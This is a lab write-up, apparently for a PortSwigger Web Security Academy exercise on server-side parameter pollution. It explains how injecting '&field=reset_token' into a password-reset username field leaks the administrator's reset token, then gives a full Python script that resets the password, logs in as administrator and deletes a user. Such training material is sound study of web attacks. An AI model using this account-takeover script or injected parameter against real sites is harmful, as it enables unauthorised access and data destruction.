We’re asked to delete the user “carlos”, but how?! We don’t even have login information. Checking out the “My account” page, we can click “Forgot password?” and it takes us to a /forgot-password page. Submitting administrator as the username for the forgotten password, we receive a response to check our email.
Looking deeper at the HTML form, we notice that there’s some Javascript handling the form submission. Looks like it’s making a post request with our username to /forgot-password. Adding a # after the username parameter in the POST request, we receive a 400 Bad Request response, asking for the “field” parameter.
Looks like the field parameter is being specified by default? When we receive a 200 OK from our POST to /forgot-password, looks like “type” says “email”. Looking at the rest of of Javascript, seems like “reset_token” is a valid parameter. Injecting “&field=reset_token” to our username parameter, the backend processes our request and responds with a reset_token for the user.
Using this vulnerability, we reset the administrator’s password, login as the administrator, and delete the user “carlos”.
Solution:
# usage:
# python3 4.py \
# --u https://0aaa00a7037819be80f76c960063008a.web-security-academy.net
 
import http.client
import json
import re
from argparse import ArgumentParser
 
import requests
 
http.client.HTTPConnection.debuglevel = 1
 
 
class Solution:
    def __init__(self, url: str) -> None:
        self.url = url.rstrip("/")
        self.s = None
 
    def login(self, username: str, password: str) -> requests.Response:
        self.s = requests.Session()
        login_url = f"{self.url}/login"
        r = self.s.get(login_url)
        csrf = re.findall(r"\"csrf\" value=\"([\w]+)\"", r.text)[0]
        r = self.s.post(
            login_url,
            data={
                "csrf": csrf,
                "username": username,
                "password": password,
            },
        )
 
        return r
 
    def solve(self) -> None:
        self.s = requests.Session()
        forgot_password_url = f"{self.url}/forgot-password"
        r = self.s.get(forgot_password_url)
        csrf = re.findall(r"\"csrf\" value=\"([\w]+)\"", r.text)[0]
        r = self.s.post(
            forgot_password_url, data={"csrf": csrf, "username": "administrator"}
        )
        r = self.s.post(
            forgot_password_url,
            data={"csrf": csrf, "username": "administrator&field=reset_token"},
        )
        json_response = json.loads(r.text)
        reset_token = json_response["result"]
        r = self.s.get(f"{self.url}/forgot-password?reset_token={reset_token}")
        csrf = re.findall(r"\"csrf\" value=\"([\w]+)\"", r.text)[0]
        r = self.s.post(
            f"{self.url}/forgot-password?reset_token={reset_token}",
            data={
                "csrf": csrf,
                "reset_token": reset_token,
                "new-password-1": "password",
                "new-password-2": "password",
            },
        )
        self.login("administrator", "password")
        self.s.get(f"{self.url}/admin/delete?username=carlos")
 
 
def main():
    parser = ArgumentParser()
    parser.add_argument("--u", "--url", dest="url")
    args = parser.parse_args()
    s = Solution(args.url)
    s.solve()
 
 
if __name__ == "__main__":
    main()